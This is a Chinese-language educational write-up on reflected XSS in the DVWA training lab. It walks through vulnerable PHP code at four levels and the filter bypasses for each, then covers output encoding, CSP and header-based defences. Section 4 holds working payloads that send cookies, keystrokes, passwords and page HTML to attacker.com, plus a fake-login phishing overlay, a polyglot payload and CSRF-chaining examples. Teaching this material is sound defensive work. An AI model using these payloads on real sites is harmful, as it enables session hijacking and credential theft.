文章目录
-
- [1. 漏洞概述](#1. 漏洞概述)
-
- [1.1 反射型 vs 存储型 vs DOM型](#1.1 反射型 vs 存储型 vs DOM型)
- [1.2 反射型 XSS 的三个必要条件](#1.2 反射型 XSS 的三个必要条件)
- [2. 四个级别源码与绕过](#2. 四个级别源码与绕过)
-
- [2.1 Low 级别:完全无防护](#2.1 Low 级别:完全无防护)
- [2.2 Medium 级别:弱过滤(可绕过)](#2.2 Medium 级别:弱过滤(可绕过))
- [2.3 High 级别:正则过滤(仍可绕过)](#2.3 High 级别:正则过滤(仍可绕过))
- [2.4 Impossible 级别:正确防御(无法绕过)](#2.4 Impossible 级别:正确防御(无法绕过))
- [3. 四个级别对比](#3. 四个级别对比)
- [4. 通用 Payload 合集](#4. 通用 Payload 合集)
- [5. 攻击流程](#5. 攻击流程)
-
- [5.1 基本攻击流程](#5.1 基本攻击流程)
- [5.2 实际攻击场景](#5.2 实际攻击场景)
-
- [场景 1:通过社交媒体传播](#场景 1:通过社交媒体传播)
- [场景 2:钓鱼邮件](#场景 2:钓鱼邮件)
- [场景 3:结合 CSRF 执行操作](#场景 3:结合 CSRF 执行操作)
- [6. 漏洞危害](#6. 漏洞危害)
- [7. 为什么黑名单过滤无效](#7. 为什么黑名单过滤无效)
-
- [7.1 本质缺陷](#7.1 本质缺陷)
- [7.2 可执行 JS 的 HTML 标签](#7.2 可执行 JS 的 HTML 标签)
- [7.3 可触发 JS 的事件属性](#7.3 可触发 JS 的事件属性)
- [7.4 javascript: 协议](#7.4 javascript: 协议)
- [8. 绕过技巧汇总](#8. 绕过技巧汇总)
-
- [8.1 针对 Medium(str_replace)](#8.1 针对 Medium(str_replace))
- [8.2 针对 High(preg_replace)](#8.2 针对 High(preg_replace))
- [8.3 通用技巧](#8.3 通用技巧)
- [8.4 CSP 绕过技巧](#8.4 CSP 绕过技巧)
- [9. 修复方案](#9. 修复方案)
-
- [9.1 核心防御:输出编码](#9.1 核心防御:输出编码)
- [9.2 完整安全代码](#9.2 完整安全代码)
- [9.3 多层防御策略](#9.3 多层防御策略)
- [10. 上下文安全详解](#10. 上下文安全详解)
-
- [10.1 HTML Body 上下文](#10.1 HTML Body 上下文)
- [10.2 HTML 属性上下文](#10.2 HTML 属性上下文)
- [10.3 JavaScript 上下文](#10.3 JavaScript 上下文)
- [10.4 URL 上下文](#10.4 URL 上下文)
- [10.5 框架自动编码](#10.5 框架自动编码)
- [11. 纵深防御架构](#11. 纵深防御架构)
-
- [11.1 安全响应头详解](#11.1 安全响应头详解)
- [11.2 CSP 配置示例](#11.2 CSP 配置示例)
- [11.3 安全开发 Checklist](#11.3 安全开发 Checklist)
- [12. 常见误区](#12. 常见误区)
- [13. 安全测试工具](#13. 安全测试工具)
-
- [13.1 自动化扫描工具](#13.1 自动化扫描工具)
1. 漏洞概述
反射型 XSS(Reflected Cross-Site Scripting) 是指攻击者将恶意脚本注入到 URL 参数中,当用户点击该链接时,恶意脚本在用户的浏览器中执行。
"反射"的含义:用户输入从 URL 参数进入服务器,服务器将其"反射"回 HTML 响应中,浏览器将其当作代码执行。
- 漏洞类型:Cross-Site Scripting (XSS) - Reflected
- OWASP 分类:A03:2021 -- Injection
- 目标地址 :
http://192.168.0.107/DVWA/vulnerabilities/xss_r/
1.1 反射型 vs 存储型 vs DOM型
| 类型 | 存储位置 | 触发方式 | 影响范围 |
|---|---|---|---|
| 反射型 | 不存储,URL 参数中 | 诱导用户点击恶意链接 | 点击链接的用户 |
| 存储型 | 数据库/服务器 | 用户访问含恶意内容的页面 | 所有访问该页面的用户 |
| DOM 型 | 不经过服务器 | 前端 JS 直接操作 DOM | 触发 DOM 操作的用户 |
1.2 反射型 XSS 的三个必要条件
1. 服务器接收用户输入(GET/POST 参数)
2. 服务器将用户输入嵌入 HTML 响应
3. 输入未经编码或过滤(或过滤可被绕过)
三个条件缺一不可。Impossible 级别通过破坏第 3 个条件(输出编码)来防御。
2. 四个级别源码与绕过
2.1 Low 级别:完全无防护
php
<?php
header("X-XSS-Protection: 0");
$name = $_GET['name'];
echo "<pre>Hello ${name}</pre>";
?>
问题:
- 无输入验证 :
$_GET['name']未经任何检查 - 无输出编码:用户输入直接嵌入 HTML 输出
- 禁用防护 :
X-XSS-Protection: 0主动关闭了浏览器 XSS 过滤器
利用:
http://192.168.0.107/DVWA/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
浏览器渲染结果:
html
<pre>Hello <script>alert('XSS')</script></pre>
浏览器遇到 <script> 标签,立即执行其中的 JavaScript 代码。
2.2 Medium 级别:弱过滤(可绕过)
php
<?php
header("X-XSS-Protection: 0");
$name = str_replace('<script>', '', $_GET['name']);
echo "<pre>Hello ${name}</pre>";
?>
问题:
- 区分大小写 :
str_replace默认区分大小写,<Script>不会被过滤 - 单次替换 :只替换一次,双写
<scr<script>ipt>可绕过 - 仅过滤
<script>:其他标签完全不受影响
绕过方式:
| 方法 | Payload | 原理 |
|---|---|---|
| 大小写 | <Script>alert(1)</Script> |
str_replace 区分大小写 |
| 双写 | <scr<script>ipt>alert(1)</script> |
内层被移除后外层拼成完整标签 |
| 其他标签 | <img src=x onerror=alert(1)> |
仅过滤 <script> |
双写绕过过程详解:
输入: <scr<script>ipt>alert(1)</scr</script>ipt>
^^^^^^^^ 被替换为空 ^^^^^^^^ 被替换为空
处理后: <script>alert(1)</script>
结果: 浏览器识别到完整的 <script> 标签并执行
2.3 High 级别:正则过滤(仍可绕过)
php
<?php
header("X-XSS-Protection: 0");
$name = $_GET['name'];
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name);
echo "<pre>Hello ${name}</pre>";
?>
正则解析:
regex
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
| 部分 | 含义 |
|---|---|
< |
匹配 < 字符 |
(.*) |
匹配任意字符 0 次或多次 |
s,c,r,i,p,t |
匹配 script 的各个字母 |
/i |
不区分大小写 |
/i不区分大小写,解决了 Medium 的大小写问题(.*)贪婪匹配字母间任意字符,解决了双写问题
过滤效果:
输入 结果
────────────────────────────────────
<script> 被过滤
<Script> 被过滤(/i)
<scr<script>ipt> 被过滤
<s c r i p t> 被过滤
<img src=x onerror=alert> 未过滤 ← 绕过
<svg onload=alert(1)> 未过滤 ← 绕过
核心问题 :仍然只过滤 <script>,其他标签和事件处理器完全不受影响。
2.4 Impossible 级别:正确防御(无法绕过)
php
<?php
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
$name = $_GET['name'];
$name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
echo "<pre>Hello ${name}</pre>";
generateSessionToken();
?>
两层安全机制:
- 输出编码 :
htmlspecialchars()将< > " ' &转义为 HTML 实体 - CSRF Token:防止跨站请求伪造
转义效果:
| 原始字符 | 转义后 | 效果 |
|---|---|---|
< |
< |
无法创建 HTML 标签 |
> |
> |
无法闭合标签 |
" |
" |
无法逃逸属性 |
' |
' |
无法逃逸单引号属性 |
& |
& |
无法使用实体编码 |
所有 Payload 均被编码为纯文本:
输入: <script>alert(1)</script>
输出: <script>alert(1)</script>
渲染: 页面显示 "<script>alert(1)</script>" 纯文本,不执行
为什么编码无法绕过?
输入: 任意字符串 S
编码: htmlspecialchars(S) → S'
性质: S' 中不包含 <, >, ", ', & 的原始形式
结论: 浏览器无法将 S' 解析为 HTML 标签或属性
| 绕过尝试 | 结果 | 原因 |
|---|---|---|
| 大小写变换 | 失败 | < 被编码为 < |
| 嵌套双写 | 失败 | 所有 < 都被编码 |
| 编码绕过 | 失败 | & 被编码为 & |
| 空字节注入 | 失败 | 不影响编码逻辑 |
| Unicode 绕过 | 失败 | UTF-8 正确处理 |
3. 四个级别对比
| 级别 | 防御方式 | 绕过方法 | 安全程度 |
|---|---|---|---|
| Low | 无防护 | 直接注入 | 🔴 极危 |
| Medium | str_replace('<script>', '') |
大小写 / 双写 / 其他标签 | 🔴 危险 |
| High | preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '') |
非 script 标签 | 🟡 中等 |
| Impossible | htmlspecialchars() + CSRF Token |
无法绕过 | 🟢 安全 |
源码对比:
php
// Low:无防护
$name = $_GET['name'];
// Medium:字符串替换
$name = str_replace('<script>', '', $_GET['name']);
// High:正则过滤
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);
// Impossible:输出编码 + CSRF Token
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
安全演进总结:
Low → Medium → High → Impossible
│ │ │ │
│ │ │ └── 输出编码(白名单思维)正确方案
│ │ └── 正则过滤(黑名单思维)仍有遗漏
│ └── 字符串替换(黑名单思维)极易绕过
└── 无防护 完全暴露
4. 通用 Payload 合集
以下 Payload 适用于 Low/Medium/High 级别(Impossible 级别全部被编码为纯文本)。
4.1 基础 Payload
| Payload | 说明 | 适用级别 |
|---|---|---|
<script>alert('XSS')</script> |
基础弹窗 | Low |
<Script>alert(1)</Script> |
大小写绕过 | Medium |
<scr<script>ipt>alert(1)</script> |
双写绕过 | Medium |
<img src=x onerror=alert(1)> |
img 事件注入 | Medium / High |
<svg onload=alert(1)> |
SVG 事件注入 | Medium / High |
<body onload=alert(1)> |
Body 事件注入 | Medium / High |
<iframe src="javascript:alert(1)"> |
iframe 注入 | Medium / High |
<input onfocus=alert(1) autofocus> |
input 事件注入 | Medium / High |
<video src=x onerror=alert(1)> |
video 事件注入 | Medium / High |
<marquee onstart=alert(1)> |
marquee 事件注入 | Medium / High |
<details ontoggle=alert(1) open> |
details 事件注入 | Medium / High |
4.2 高级攻击 Payload
Cookie 窃取
html
<script>
new Image().src = "http://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
</script>
原理 :创建一个隐藏的 <img> 元素,浏览器自动向 src 发起 GET 请求,将 Cookie 作为 URL 参数发送给攻击者服务器。
攻击者服务器日志:
GET /steal?cookie=PHPSESSID%3Dabc123%3Bsecurity%3Dlow
键盘记录
html
<script>
document.onkeypress = function(e) {
new Image().src = "http://attacker.com/log?key=" + e.key;
};
</script>
原理 :监听 document.onkeypress 事件,每次按键都通过 Image 对象发送请求。
攻击者服务器日志:
GET /log?key=a
GET /log?key=d
GET /log?key=m
GET /log?key=i
GET /log?key=n
→ 拼接: admin
批量发送优化版(减少请求数量):
html
<script>
var keys = '';
document.onkeypress = function(e) {
keys += e.key;
if (keys.length >= 10) {
new Image().src = "http://attacker.com/log?keys=" + encodeURIComponent(keys);
keys = '';
}
};
</script>
钓鱼页面
html
<script>
document.body.innerHTML = `
<h2>Session Expired</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input name="pass" type="password"><br>
<input type="submit" value="Login">
</form>
`;
</script>
原理 :用 innerHTML 替换整个页面内容为伪造的登录表单,用户输入直接发送到攻击者服务器。
重定向
html
<script>document.location = "http://attacker.com/fake-dvwa";</script>
页面内容窃取
html
<img src="x" onerror="new Image().src='http://attacker.com/steal?html='+encodeURIComponent(document.documentElement.innerHTML)" />
原理:获取整个页面的 HTML 源码并发送给攻击者,可窃取 CSRF Token、用户信息等。
密码框劫持
html
<script>
setInterval(function() {
var pwd = document.querySelector('input[type="password"]');
if (pwd && pwd.value) {
new Image().src = "http://attacker.com/steal?pwd=" + encodeURIComponent(pwd.value);
}
}, 1000);
</script>
原理:每秒检查页面上是否存在密码输入框,如有则窃取其值。
4.3 Polyglot XSS(多面体 XSS)
Polyglot XSS 是一种可以在多种上下文中执行的 Payload,无论输入被放在 HTML Body、属性还是 JavaScript 中都能触发:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
原理:利用不同上下文中的注释语法差异,确保至少一个执行路径生效。
5. 攻击流程
5.1 基本攻击流程
┌─────────────┐
│ 攻击者构造 │
│ 恶意链接 │
└──────┬──────┘
│
▼
┌─────────────┐
│ 发送给受害者 │ (邮件、聊天、社交工程等)
└──────┬──────┘
│
▼
┌─────────────┐
│ 受害者点击 │
│ 恶意链接 │
└──────┬──────┘
│
▼
┌─────────────┐
│ 服务器反射 │
│ 恶意脚本 │ (Low: 直接反射 / Medium/High: 过滤失败后反射)
└──────┬──────┘
│
▼
┌─────────────┐
│ 浏览器执行 │
│ 恶意脚本 │
└──────┬──────┘
│
▼
┌─────────────┐
│ 攻击成功 │ (Cookie 窃取、会话劫持、钓鱼等)
└─────────────┘
5.2 实际攻击场景
场景 1:通过社交媒体传播
攻击者在论坛发帖:
"快来看这个有趣的功能!http://192.168.0.107/DVWA/vulnerabilities/xss_r/?name=<script>...</script>"
│
▼
受害者点击链接 → 浏览器执行恶意脚本 → Cookie 被窃取
场景 2:钓鱼邮件
邮件内容:
"您的账户存在异常,请立即验证:
http://192.168.0.107/DVWA/vulnerabilities/xss_r/?name=<script>document.body.innerHTML='伪造登录页'</script>"
│
▼
受害者点击 → 看到"登录验证"页面 → 输入凭证 → 凭证发送到攻击者服务器
场景 3:结合 CSRF 执行操作
恶意链接:
http://192.168.0.107/DVWA/vulnerabilities/xss_r/?name=<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change", true);
xhr.send();
</script>
│
▼
受害者点击 → 以受害者身份修改密码 → 攻击者接管账户
6. 漏洞危害
| 危害类型 | 描述 | 严重程度 |
|---|---|---|
| Cookie 窃取 | 获取用户会话 Cookie,实现会话劫持 | 🔴 高 |
| 会话劫持 | 冒充用户身份执行操作 | 🔴 高 |
| 钓鱼攻击 | 伪造登录页面窃取凭证 | 🔴 高 |
| 键盘记录 | 记录用户输入敏感信息 | 🔴 高 |
| 数据窃取 | 获取页面完整 HTML 内容 | 🔴 高 |
| CSRF 结合 | 以用户身份执行敏感操作 | 🔴 高 |
| 页面篡改 | 修改页面内容误导用户 | 🟡 中 |
| 重定向 | 将用户引导到恶意网站 | 🟡 中 |
| 内网扫描 | 利用用户浏览器扫描内网 | 🟡 中 |
| 挖矿 | 利用用户 CPU 进行加密货币挖矿 | 🟡 中 |
7. 为什么黑名单过滤无效
7.1 本质缺陷
黑名单是"已知恶意列表",而攻击向量是无限的。
Low/Medium/High 共同问题:
1. 只过滤 <script>,不过滤其他标签
2. HTML 有 100+ 个标签可以执行 JS
3. 事件处理器完全不受影响
4. javascript: 协议未过滤
7.2 可执行 JS 的 HTML 标签
<img> <svg> <body> <iframe>
<video> <audio> <source> <track>
<input> <form> <button> <select>
<textarea> <marquee> <details> <object>
<embed> <applet> <math> <link>
<style> <base> <meta> <script>
7.3 可触发 JS 的事件属性
onerror onload onfocus onblur
onclick onmouseover onmouseout onmousedown
onmouseup onkeydown onkeyup onkeypress
onsubmit onreset onselect onchange
oninput oninvalid onsearch ontoggle
onanimationend onanimationstart ontransitionend onwheel
oncontextmenu ondblclick ondrag ondrop
onscroll onresize onabort oncanplay
7.4 javascript: 协议
html
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)"></iframe>
<img src="javascript:alert(1)">
结论:过滤单一标签无法阻止 XSS,攻击向量太多。黑名单永远无法穷举所有攻击向量。
8. 绕过技巧汇总
8.1 针对 Medium(str_replace)
| 技巧 | 示例 | 原理 |
|---|---|---|
| 大小写变换 | <Script>, <SCRIPT>, <sCrIpT> |
str_replace 区分大小写 |
| 嵌套双写 | <scr<script>ipt> |
单次替换,内层移除后外层拼成完整标签 |
| 其他标签 | <img>, <svg>, <body> |
仅过滤 <script> |
8.2 针对 High(preg_replace)
| 技巧 | 示例 | 原理 |
|---|---|---|
| 非 script 标签 | <img>, <svg>, <body>, <iframe> |
正则只匹配 script |
| 事件处理器 | onerror, onload, onfocus |
正则不过滤事件属性 |
| HTML 实体编码 | alert(1) |
正则不过滤实体编码 |
8.3 通用技巧
| 技巧 | 示例 | 适用场景 |
|---|---|---|
| 空字节注入 | <scr%00ipt> |
某些过滤器被空字节截断 |
| URL 编码 | %3Cscript%3Ealert(1)%3C/script%3E |
服务器未解码就过滤 |
| HTML 实体 | <script>alert(1)</script> |
浏览器解码后执行 |
| Unicode 转义 | \u003cscript\u003ealert(1) |
JavaScript 上下文 |
| 换行符注入 | <scr\nipt> |
某些正则不匹配换行 |
| Tab 注入 | <scr\tipt> |
某些正则不匹配 Tab |
8.4 CSP 绕过技巧
即使部署了 CSP,以下场景仍可能导致 XSS:
| 场景 | 示例 | 原因 |
|---|---|---|
unsafe-inline |
script-src 'unsafe-inline' |
允许内联脚本 |
unsafe-eval |
script-src 'unsafe-eval' |
允许 eval() |
| 宽松 nonce | nonce 可预测或重用 | 攻击者可构造合法 nonce |
| JSONP 端点 | /api/search?callback=alert(1) |
通过 JSONP 回调执行脚本 |
| 第三方脚本 | 引入了不可信的第三方 JS | 第三方脚本不受 CSP 限制 |
9. 修复方案
9.1 核心防御:输出编码
php
<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "<pre>Hello ${name}</pre>";
?>
9.2 完整安全代码
php
<?php
// 1. CSRF 防护
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
// 2. 安全响应头
header("Content-Security-Policy: default-src 'self'");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
// 3. 输入验证(白名单)
$name = $_GET['name'] ?? '';
if (!preg_match('/^[a-zA-Z0-9\s]+$/', $name)) {
die('Invalid input');
}
// 4. 输出编码
$name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
echo "<pre>Hello ${name}</pre>";
// 5. 更新 CSRF Token
generateSessionToken();
?>
9.3 多层防御策略
| 防御措施 | 实现方式 | 作用 |
|---|---|---|
| 输出编码 | htmlspecialchars($input, ENT_QUOTES, 'UTF-8') |
转义所有 HTML 特殊字符 |
| 输入验证 | 白名单验证输入格式 | 拒绝非法输入 |
| CSP 头 | Content-Security-Policy: default-src 'self' |
限制脚本来源 |
| HttpOnly Cookie | setcookie('name', 'value', ['httponly' => true]) |
防止 JS 读取 Cookie |
| CSRF Token | 随机 Token 验证 | 防止跨站请求伪造 |
10. 上下文安全详解
不同输出位置需要不同的编码方式,这是 XSS 防御的核心知识点:
| 输出位置 | 编码方式 | 示例 |
|---|---|---|
| HTML Body | htmlspecialchars() |
echo "<div>" . htmlspecialchars($input) . "</div>" |
| HTML 属性 | htmlspecialchars(..., ENT_QUOTES) |
echo "<input value='" . htmlspecialchars($input, ENT_QUOTES) . "'>" |
| JavaScript | json_encode() |
echo "var name = " . json_encode($input) . ";" |
| URL | urlencode() + htmlspecialchars() |
echo "<a href='" . htmlspecialchars(urlencode($input)) . "'>" |
| CSS | 避免用户输入 | 不使用用户输入构造 CSS |
| SQL | 参数化查询 | PDO::prepare() |
10.1 HTML Body 上下文
php
// 安全
echo "<div>" . htmlspecialchars($input) . "</div>";
// 输入: <script>alert(1)</script>
// 输出: <div><script>alert(1)</script></div>
// 渲染: 显示为纯文本
10.2 HTML 属性上下文
php
// 安全
echo "<input value='" . htmlspecialchars($input, ENT_QUOTES) . "'>";
// 输入: ' onclick='alert(1)
// 输出: <input value='' onclick='alert(1)'>
// 渲染: 属性值包含文本,不执行
10.3 JavaScript 上下文
php
// 危险:HTML 编码不保护 JS 上下文
<script>var name = '<?php echo htmlspecialchars($input); ?>';</script>
// 安全:使用 JSON 编码
<script>var name = <?php echo json_encode($input); ?>;</script>
// 输入: '; alert(1); '
// JSON 输出: "\'; alert(1); \'"
// 结果: 字符串值,不执行
10.4 URL 上下文
php
// 危险
<a href="<?php echo $input; ?>">Link</a>
// 安全
<a href="<?php echo htmlspecialchars(urlencode($input)); ?>">Link</a>
// 输入: javascript:alert(1)
// 输出: <a href="javascript%3Aalert(1)">Link</a>
// 注意:还需验证 URL 协议是否为 http/https
10.5 框架自动编码
现代框架默认提供 XSS 防护:
php
// Laravel - Blade 模板自动编码
{{ $userInput }} // 自动 htmlspecialchars
{!! $userInput !!} // 不编码(危险,慎用)
// Vue.js - 模板自动转义
{{ userInput }} // 自动转义
v-html="userInput" // 不编码(危险,慎用)
// React - JSX 自动转义
<div>{userInput}</div> // 自动转义
<div dangerouslySetInnerHTML={{__html: userInput}} /> // 不编码
11. 纵深防御架构
┌─────────────────────────────────────────────────────────────┐
│ 第 1 层:输入验证 │
│ 白名单验证,拒绝非法输入 │
├─────────────────────────────────────────────────────────────┤
│ 第 2 层:输出编码 │
│ 根据上下文编码,转义特殊字符 │
├─────────────────────────────────────────────────────────────┤
│ 第 3 层:CSP │
│ 限制脚本来源,即使注入也无法执行 │
├─────────────────────────────────────────────────────────────┤
│ 第 4 层:HttpOnly Cookie │
│ 防止 JS 读取 Cookie,降低 XSS 危害 │
├─────────────────────────────────────────────────────────────┤
│ 第 5 层:CSRF Token │
│ 防止跨站请求伪造 │
└─────────────────────────────────────────────────────────────┘
11.1 安全响应头详解
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
| 响应头 | 作用 | 防御目标 |
|---|---|---|
Content-Security-Policy |
限制脚本/资源来源 | XSS、数据注入 |
X-XSS-Protection |
启用浏览器 XSS 过滤器 | 反射型 XSS(辅助) |
X-Content-Type-Options |
禁止 MIME 类型嗅探 | 内容类型欺骗 |
X-Frame-Options |
禁止页面被 iframe 嵌入 | 点击劫持 |
Referrer-Policy |
控制 Referer 头发送策略 | 信息泄露 |
Permissions-Policy |
控制浏览器功能权限 | 隐私保护 |
11.2 CSP 配置示例
apache
# Apache - 严格策略
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';"
nginx
# Nginx - 严格策略
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'";
php
# PHP - 基础策略
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
11.3 安全开发 Checklist
- 所有用户输入经过输出编码后再渲染到页面
- 根据输出上下文选择正确的编码方式
- 使用白名单验证输入格式
- 设置 CSP 响应头
- Cookie 设置 HttpOnly 和 Secure 标志
- 使用框架内置的 XSS 防护机制
- 定期进行安全代码审查
- 使用自动化工具扫描 XSS 漏洞
12. 常见误区
| 误区 | 事实 |
|---|---|
| "过滤就够了" | 黑名单永远无法穷举,必须输出编码 |
| "前端验证就够了" | 前端验证可被绕过,服务端编码是最后防线 |
| "XSS 只窃取 Cookie" | 还可键盘记录、钓鱼、挖矿、CSRF 结合 |
| "HTTPS 防止 XSS" | HTTPS 保护传输层,XSS 是应用层漏洞 |
| "过滤了 script 就安全" | 100+ HTML 标签和事件可执行 JS |
| "CSP 可以完全防御 XSS" | CSP 是辅助手段,输出编码才是核心 |
| "XSS 只影响前端" | 可结合 CSRF 执行后端操作、窃取数据库数据 |
| "用户不会点击恶意链接" | 社会工程学是主要攻击手段,用户始终是最薄弱环节 |
13. 安全测试工具
13.1 自动化扫描工具
| 工具 | 类型 | 说明 |
|---|---|---|
| Burp Suite | 代理 + 扫描 | 业界标准,Intruder 模块可批量测试 Payload |
| OWASP ZAP | 代理 + 扫描 | 开源免费,适合 CI/CD 集成 |
| XSStrike | 专项工具 | Python 编写的 XSS 专项扫描器 |
| Dalfox | 专项工具 | Go 编写的高速 XSS 扫描器 |
| Nuclei | 模板扫描 | 基于模板的漏洞扫描器 |
⚠️ 免责声明:本文档仅用于安全学习和教育目的,请在合法授权的环境中进行测试。